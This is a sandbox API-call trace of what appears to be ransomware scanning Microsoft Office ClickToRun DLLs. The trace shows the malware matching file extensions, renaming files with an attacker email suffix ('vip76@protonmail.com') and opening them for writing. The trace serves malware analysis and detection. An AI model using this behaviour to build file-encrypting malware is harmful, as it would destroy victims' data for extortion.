	[0078.691] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-multibyte-l1-1-0.dll")) returned 1
	[0078.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.691] lstrlenW (lpString=".doc") returned 4
	[0078.691] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.691] lstrlenW (lpString=".docx") returned 5
	[0078.691] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.691] lstrlenW (lpString=".pdf") returned 4
	[0078.691] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.691] lstrlenW (lpString=".xls") returned 4
	[0078.691] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.691] lstrlenW (lpString=".xlsx") returned 5
	[0078.691] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.691] lstrlenW (lpString=".ppt") returned 4
	[0078.691] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.691] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.691] lstrlenW (lpString=".zip") returned 4
	[0078.692] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.692] lstrlenW (lpString=".rar") returned 4
	[0078.692] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.692] lstrlenW (lpString=".bz2") returned 4
	[0078.692] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.692] lstrlenW (lpString=".7z") returned 3
	[0078.692] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.692] lstrlenW (lpString=".dbf") returned 4
	[0078.692] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.692] lstrlenW (lpString=".1cd") returned 4
	[0078.692] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.692] lstrlenW (lpString=".jpg") returned 4
	[0078.692] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.692] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.692] lstrlenW (lpString=".doc") returned 4
	[0078.692] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.692] lstrlenW (lpString=".docx") returned 5
	[0078.692] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0078.692] lstrlenW (lpString=".pdf") returned 4
	[0078.692] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.692] lstrlenW (lpString=".xls") returned 4
	[0078.692] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.692] lstrlenW (lpString=".xlsx") returned 5
	[0078.692] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0078.692] lstrlenW (lpString=".ppt") returned 4
	[0078.692] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.693] lstrlenW (lpString=".zip") returned 4
	[0078.693] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.693] lstrlenW (lpString=".rar") returned 4
	[0078.693] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.693] lstrlenW (lpString=".bz2") returned 4
	[0078.693] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.693] lstrlenW (lpString=".7z") returned 3
	[0078.693] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.693] lstrlenW (lpString=".dbf") returned 4
	[0078.693] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.693] lstrlenW (lpString=".1cd") returned 4
	[0078.693] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.693] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-multibyte-l1-1-0.dll") returned 93
	[0078.693] lstrlenW (lpString=".jpg") returned 4
	[0078.693] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.693] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.693] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26
	[0078.693] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.694] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=307416) returned 1
	[0078.694] CloseHandle (hObject=0x358) returned 1
	[0078.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20
	[0078.694] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.694] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.694] lstrlenW (lpString=".doc") returned 4
	[0078.694] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.694] lstrlenW (lpString=".docx") returned 5
	[0078.694] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0078.694] lstrlenW (lpString=".pdf") returned 4
	[0078.694] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.694] lstrlenW (lpString=".xls") returned 4
	[0078.694] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.694] lstrlenW (lpString=".xlsx") returned 5
	[0078.694] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0078.694] lstrlenW (lpString=".ppt") returned 4
	[0078.694] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.694] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.695] lstrlenW (lpString=".zip") returned 4
	[0078.695] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.695] lstrlenW (lpString=".rar") returned 4
	[0078.695] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.695] lstrlenW (lpString=".bz2") returned 4
	[0078.695] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.695] lstrlenW (lpString=".7z") returned 3
	[0078.695] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.695] lstrlenW (lpString=".dbf") returned 4
	[0078.695] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.695] lstrlenW (lpString=".1cd") returned 4
	[0078.695] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.695] lstrlenW (lpString=".jpg") returned 4
	[0078.695] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.695] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.695] lstrlenW (lpString=".doc") returned 4
	[0078.695] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.695] lstrlenW (lpString=".docx") returned 5
	[0078.695] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0078.695] lstrlenW (lpString=".pdf") returned 4
	[0078.695] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.695] lstrlenW (lpString=".xls") returned 4
	[0078.695] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.695] lstrlenW (lpString=".xlsx") returned 5
	[0078.695] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0078.695] lstrlenW (lpString=".ppt") returned 4
	[0078.696] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.696] lstrlenW (lpString=".zip") returned 4
	[0078.696] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.696] lstrlenW (lpString=".rar") returned 4
	[0078.696] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.696] lstrlenW (lpString=".bz2") returned 4
	[0078.696] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.696] lstrlenW (lpString=".7z") returned 3
	[0078.696] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.696] lstrlenW (lpString=".dbf") returned 4
	[0078.696] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.696] lstrlenW (lpString=".1cd") returned 4
	[0078.696] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.696] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0078.696] lstrlenW (lpString=".jpg") returned 4
	[0078.696] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.696] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.696] lstrlenW (lpString="AppVIntegration.dll") returned 19
	[0078.696] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.697] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=2118360) returned 1
	[0078.697] CloseHandle (hObject=0x358) returned 1
	[0078.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 0x20
	[0078.697] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.697] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html")) returned 1
	[0078.697] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.698] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x20) returned 1
	[0078.698] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[vip76@protonmail.com].html"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1
	[0078.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.699] lstrlenW (lpString=".doc") returned 4
	[0078.699] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.699] lstrlenW (lpString=".docx") returned 5
	[0078.699] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0078.699] lstrlenW (lpString=".pdf") returned 4
	[0078.699] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.699] lstrlenW (lpString=".xls") returned 4
	[0078.699] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.699] lstrlenW (lpString=".xlsx") returned 5
	[0078.699] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0078.699] lstrlenW (lpString=".ppt") returned 4
	[0078.699] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.699] lstrlenW (lpString=".zip") returned 4
	[0078.699] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.699] lstrlenW (lpString=".rar") returned 4
	[0078.699] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.699] lstrlenW (lpString=".bz2") returned 4
	[0078.699] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.699] lstrlenW (lpString=".7z") returned 3
	[0078.699] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.699] lstrlenW (lpString=".dbf") returned 4
	[0078.699] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.699] lstrlenW (lpString=".1cd") returned 4
	[0078.699] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.699] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.699] lstrlenW (lpString=".jpg") returned 4
	[0078.700] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.700] lstrlenW (lpString=".doc") returned 4
	[0078.700] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.700] lstrlenW (lpString=".docx") returned 5
	[0078.700] lstrcmpiW (lpString1=".docx", lpString2="n.dll") returned -1
	[0078.700] lstrlenW (lpString=".pdf") returned 4
	[0078.700] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.700] lstrlenW (lpString=".xls") returned 4
	[0078.700] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.700] lstrlenW (lpString=".xlsx") returned 5
	[0078.700] lstrcmpiW (lpString1=".xlsx", lpString2="n.dll") returned -1
	[0078.700] lstrlenW (lpString=".ppt") returned 4
	[0078.700] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.700] lstrlenW (lpString=".zip") returned 4
	[0078.700] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.700] lstrlenW (lpString=".rar") returned 4
	[0078.700] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.700] lstrlenW (lpString=".bz2") returned 4
	[0078.700] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.700] lstrlenW (lpString=".7z") returned 3
	[0078.700] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.700] lstrlenW (lpString=".dbf") returned 4
	[0078.700] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.700] lstrlenW (lpString=".1cd") returned 4
	[0078.700] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.700] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll") returned 77
	[0078.701] lstrlenW (lpString=".jpg") returned 4
	[0078.701] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.701] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.701] lstrlenW (lpString="AppVIsvApi.dll") returned 14
	[0078.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.701] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=468696) returned 1
	[0078.701] CloseHandle (hObject=0x358) returned 1
	[0078.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll")) returned 0x20
	[0078.701] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.701] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvapi.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0078.701] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.702] lstrlenW (lpString=".doc") returned 4
	[0078.702] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.702] lstrlenW (lpString=".docx") returned 5
	[0078.702] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0078.702] lstrlenW (lpString=".pdf") returned 4
	[0078.702] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.702] lstrlenW (lpString=".xls") returned 4
	[0078.702] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.702] lstrlenW (lpString=".xlsx") returned 5
	[0078.702] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0078.702] lstrlenW (lpString=".ppt") returned 4
	[0078.702] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.702] lstrlenW (lpString=".zip") returned 4
	[0078.702] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.702] lstrlenW (lpString=".rar") returned 4
	[0078.702] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.702] lstrlenW (lpString=".bz2") returned 4
	[0078.702] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.702] lstrlenW (lpString=".7z") returned 3
	[0078.702] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.702] lstrlenW (lpString=".dbf") returned 4
	[0078.702] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.702] lstrlenW (lpString=".1cd") returned 4
	[0078.702] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.702] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.702] lstrlenW (lpString=".jpg") returned 4
	[0078.702] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.703] lstrlenW (lpString=".doc") returned 4
	[0078.703] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0078.703] lstrlenW (lpString=".docx") returned 5
	[0078.703] lstrcmpiW (lpString1=".docx", lpString2="i.dll") returned -1
	[0078.703] lstrlenW (lpString=".pdf") returned 4
	[0078.703] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0078.703] lstrlenW (lpString=".xls") returned 4
	[0078.703] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0078.703] lstrlenW (lpString=".xlsx") returned 5
	[0078.703] lstrcmpiW (lpString1=".xlsx", lpString2="i.dll") returned -1
	[0078.703] lstrlenW (lpString=".ppt") returned 4
	[0078.703] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0078.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.703] lstrlenW (lpString=".zip") returned 4
	[0078.703] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0078.703] lstrlenW (lpString=".rar") returned 4
	[0078.703] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0078.703] lstrlenW (lpString=".bz2") returned 4
	[0078.703] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0078.703] lstrlenW (lpString=".7z") returned 3
	[0078.703] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0078.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.703] lstrlenW (lpString=".dbf") returned 4
	[0078.703] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0078.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.703] lstrlenW (lpString=".1cd") returned 4
	[0078.703] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0078.703] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIsvApi.dll") returned 72
	[0078.704] lstrlenW (lpString=".jpg") returned 4
	[0078.704] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0078.704] lstrcmpiW (lpString1=".dll", lpString2=".html") returned -1
	[0078.704] lstrlenW (lpString="AppvIsvStream32.dll") returned 19
	[0078.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.704] GetFileSizeEx (in: hFile=0x358, lpFileSize=0x259ff14 | out: lpFileSize=0x259ff14*=396960) returned 1
	[0078.704] CloseHandle (hObject=0x358) returned 1
	[0078.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll")) returned 0x20
	[0078.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0078.704] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvStream32.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvstream32.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358
	[0078.704] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
	[0078.705] SetFilePointerEx (in: hFile=0x358, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x259fec0 | out: lpNewFilePointer=0x0) returned 1
